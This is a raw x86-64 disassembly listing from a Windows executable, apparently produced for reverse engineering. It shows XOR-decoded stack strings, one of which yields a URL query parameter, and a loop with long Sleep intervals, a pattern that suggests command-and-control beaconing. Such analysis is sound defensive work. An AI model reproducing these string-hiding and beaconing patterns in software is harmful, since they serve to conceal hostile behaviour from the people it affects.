movzx eax, byte [rbp - 0x3c]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x3c]
mov ecx, dword [rbp - 0x40]
xor cl, al
mov byte [rbp + rdx - 0x3c], cl
inc rdx
cmp rdx, 0x12
jb 0x140009490
mov byte [rbp - 0x2a], 0
lea rdx, [rbp - 0x3c]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017cb0], rax
mov dword [rsp + 0x30], 0x76
mov eax, dword [rsp + 0x30]
xor al, 0x75
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x44
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x3d
mov byte [rsp + 0x36], al
xor eax, eax
mov byte [rsp + 0x37], al
movzx eax, byte [rsp + 0x34]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 3
jb 0x140009500
mov byte [rsp + 0x37], 0
lea r8, [rbp + 0x1e0]
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0xa8]
call fcn.14000c530
mov r8, rax
mov dword [rbp - 0x58], 9
mov byte [rbp - 0x54], 0x2f
mov byte [rbp - 0x53], 0x71
mov byte [rbp - 0x52], 0x60
mov byte [rbp - 0x51], 0x6f
mov byte [rbp - 0x50], 0x68
mov byte [rbp - 0x4f], 0x67
mov byte [rbp - 0x4e], 0x6e
mov byte [rbp - 0x4d], 0x7d
mov byte [rbp - 0x4c], 0x68
mov byte [rbp - 0x4b], 0x60
mov byte [rbp - 0x4a], 0x70
mov byte [rbp - 0x49], 0x68
mov byte [rbp - 0x48], 0x67
mov byte [rbp - 0x47], 0x6e
mov byte [rbp - 0x46], 0x34
xor eax, eax
mov byte [rbp - 0x45], al
movzx eax, byte [rbp - 0x54]
mov rdx, rdi
nop dword [rax]
movzx eax, byte [rbp + rdx - 0x54]
mov ecx, dword [rbp - 0x58]
xor cl, al
mov byte [rbp + rdx - 0x54], cl
inc rdx
cmp rdx, 0xf
jb 0x140009590
mov byte [rbp - 0x45], 0
lea rdx, [rbp - 0x54]
mov rcx, r8
call fcn.14000b0f0
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x220], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm6
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x14000961f
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000961a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000961a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000eda0
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0xb8], xmm0
mov byte [rbp + 0xa8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
lea rsi, [rbp + 0x220]
movq rcx, xmm7
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rsi, rcx
movq rbx, xmm6
cmp rbx, r14
ja 0x140009817
mov qword [rbp + 0x40], 0xf
cmp rbx, 0x10
jae 0x140009693
mov qword [rbp + 0x38], rbx
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x28], xmm0
jmp 0x140009722
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x1400096c8
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000ef24
test rax, rax
je 0x1400096f3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140009707
mov r14, rax
mov ecx, 0x16
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x1400096fa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400097ff
jmp 0x1400096ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140009707
call fcn.14000ef24
mov rdi, rax
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], r14
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x28]
call fcn.140002c20
nop dword [rax + rax]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x48]
call fcn.14000b290
mov rcx, rax
call fcn.140007990
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x48]
call fcn.14000b290
mov rcx, rax
call fcn.140005a90
mov ecx, 0x927c0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009730
mov ecx, 0x6ddd0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x1400097bd
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000eda0
xor eax, eax
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14000ed80
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001650
nop
call fcn.140001650
nop
call fcn.1400016f0
nop
call fcn.1400016f0
int3
call fcn.140001650
nop
call fcn.1400016f0
int3